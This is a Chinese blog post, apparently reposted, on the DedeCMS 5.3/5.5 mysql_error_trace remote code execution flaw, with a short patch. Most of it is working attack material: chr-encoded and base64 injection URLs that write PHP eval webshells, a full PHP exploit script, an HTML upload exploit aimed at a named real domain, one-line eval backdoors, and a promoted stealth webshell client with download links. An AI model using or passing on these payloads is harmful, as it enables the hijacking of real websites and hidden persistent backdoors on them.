批量修复dede mysql_err漏洞

本来想用查找替换,但是符号太麻烦了。考虑到文件都是一样的,只好先修改一个,然后替换就行了。

find ./webfiles -name "dedesql.class.php" -print -exec cp -f ./dedesql.class.php {} \;


--------------------------------
漏洞测试:


1、http://xxx//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>
http://xxx/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace
在data/cache下生成c.php


xxx.com/plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*

xxx.com/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace


2、执行exp,执行成功会在在data/cache下生成t.php小马密码t,官方

此exp得特点是生产t.php得时候不留日志

exp:
<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';

get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');

if(substr($content,9,3)=='200'){
echo "\nShell Address is:".$host.$path.$shell;
}else{
echo "\nError.";
}
function get_send($url){
global $host, $path;
$message = "GET ".$path."$url HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Connection: Close\r\n\r\n";
$fp = fsockopen($host, 80);
if(!$fp){
echo "\nConnect to host Error";
}
fputs($fp, $message);

$back = '';

while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;

}
function post_send($url,$cmd){

global $host, $path;
$message = "POST ".$path."$url HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
if(!$fp){
echo "\nConnect to host Error";
}
fputs($fp, $message);

$back = '';

while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
?>


------------------------------
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。

假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
反回错误信息
. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

按确定后的看到第2步骤的信息表示文件木马上传成功。
木马网址:http://www.abc.com/data/a.php
密码:2006888

SEBUG安全建议:
临时解决方案

打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”/*{$savemsg}*/?”.”>”);
替换代码
@fwrite($fp, ‘<’.'?php’.”exit;/*{$savemsg}*/?”.”>”);

清空 data/mysql_error_trace.php 文件内容

-------------------test.html
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>


漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。

解决方案:

打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);
替换代码
@fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);

清空 data/mysql_error_trace.php 文件内容


一句话:
<?php eval($_POST['c'])?>
<?php eval($_REQUEST['c'])?>

海洋顶端有个一键提交版的ASP一句话客户端,很方便,一次提交之后,一句话就可以当大马用了。

但是PHP一句话一直没有见这样的客户端,网上居然还有转的到处都是的工具,结果下载下来不能用。

比较喜欢一句话的一键提交这种形式,所以花了2x半个通宵的时间做了这个东西,思路参考的是海洋,客户端的CSS也是修改它的,呵呵。

由于一键提交版的特殊性,暂时是不能随心所欲的换密码的,这个客户端的密码是字母c。


大概原理:

一键提交版的一句话客户端连接成功之后,每次POST数据的时候, 假设一句话密码是c,都要先让本地表单:

c = session_start();eval($_SESSION[chr(120)]);

chr(120)就是字母c,为了避免单引号写成chr(120)形式。

然后一句话在eval($_POST[c])的时候,才能执行保存在Session中的我们的PHP代码。

想用其它密码的朋友可以依据这个原理修改。


零魂PHP一句话木马客户端(一键提交版)
2009/10/28 17:56
Author:零魂(zerosoul)

V0.2
2009-11-11(正好是光棍节,晕~)更新内容:
-----------------------------
1.修补了下原始版本有些服务器不能正常运行的大Bug。
2.去掉了提交后的登陆密码验证,提交后直接进入大马界面。

-----------------------------
更新说明:
-----------------------------

这玩意本来就是为了方便自己做的,所以本来只打算对自己负责,呵呵。好马好工具如果传出来必然被传烂掉,但这东西无所谓,又不是多特别的东西,但有时候用着比较方便,所以发出来也无妨。

但是发出来后有朋友告诉我有些服务器上运行没成功,心里顿觉愧疚,发个小东西出来,结果功能还有问题,岂不是欺骗大众。但是一直在忙,除了当时做的 时候之外,几乎再没去测试过。昨晚hiphop兄给我说他那有台服务器用不起,本来打算让他发Shell来我正好测试下具体原因,结果他说他已经测试了并 告诉是magic_quotes_gpc的原因(是个低级错误...),得谢谢他。
然后花了个把小时详细测试并修改了下

相关关键代码:

session_start();$_SESSION[chr(99)]=get_magic_quotes_gpc()?stripslashes($_POST[chr(100)]):$_POST[chr(100)];eval($_SESSION[chr(99)]);

-----------------------------
现在的版本magic_quotes_gpc On和Off都测试OK,不过不知道还有没有其它会造成不正常的因素,实在懒的自己去一个一个测试了,等遇到了再说吧,也欢迎大家反馈。
-----------------------------

下载:
http://evilwares.appspot.com/down/zerosoul_PHP_eval_Client_v0.2.rar

在线使用:
http://evilwares.appspot.com/static/eval.html

--------------------

前天通宵到后半夜的时候,总觉得自己最近都没干什么实事,觉得有点虚度的味道,心中不免有些自责。为了宽慰自己,决定做点正事。然后就啥都没干,坐着干想该做什么。一直想到快天亮,总算想出点东西来了(- -!),也就是现在发布的这个东西。

海洋顶端有个一键提交版的ASP一句话客户端,很方便,一次提交之后,一句话就可以当大马用了。用这种客户端的话,留一句话的shell也就麻烦不到哪去了,而且把一句话藏在正常文件里面,再把时间改回正常,访问只用POST的话,基本是很难发现的。

但是PHP一句话一直没有见这样的客户端(不知道是不是我孤弱寡闻),网上居然还有转载的到处都是的工具,结果下载下来不能用.....
比较喜欢一句话的一键提交这种形式,所以花了2 x 半个通宵的时间做了这个东西,思路参考的是海洋,客户端的CSS也是修改它的,呵呵。

注意:

由于一键提交版的特殊性,暂时是不能随心所欲的换密码的,这个客户端的密码是字母c。(海洋的也是这样)。这个问题并不是不能解决,但是比较麻烦,所以还不如就用这密码呢,呵呵。

特点:

1.填好一句话WebShell地址和密码并点提交之后,后续操作不用再依赖客户端,基本上剩下的和操作大马没什么两样。

2.完全POST提交,避免了WebServer记录敏感数据。如果一句话插在有正常用户访问的PHP文件的话,插完时间也改回来了,那么管理员发现的概率就相当低了。(海洋的不是全POST)

大概原理:

一键提交版的一句话客户端连接成功之后,每次POST数据的时候, 假设一句话密码是c,都要先让本地表单:

c = session_start();eval($_SESSION[chr(120)]);

chr(120)就是字母c,为了避免单引号写成chr(120)形式。

然后一句话在eval($_POST[c])的时候,才能执行保存在Session中的我们的PHP代码。

http://evilwares.appspot.com/down/zerosoul_PHP_eval_Client_v0.2.rar

想用其它密码的朋友可以依据这个原理修改。


http://huaidan.org/archives/3390.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值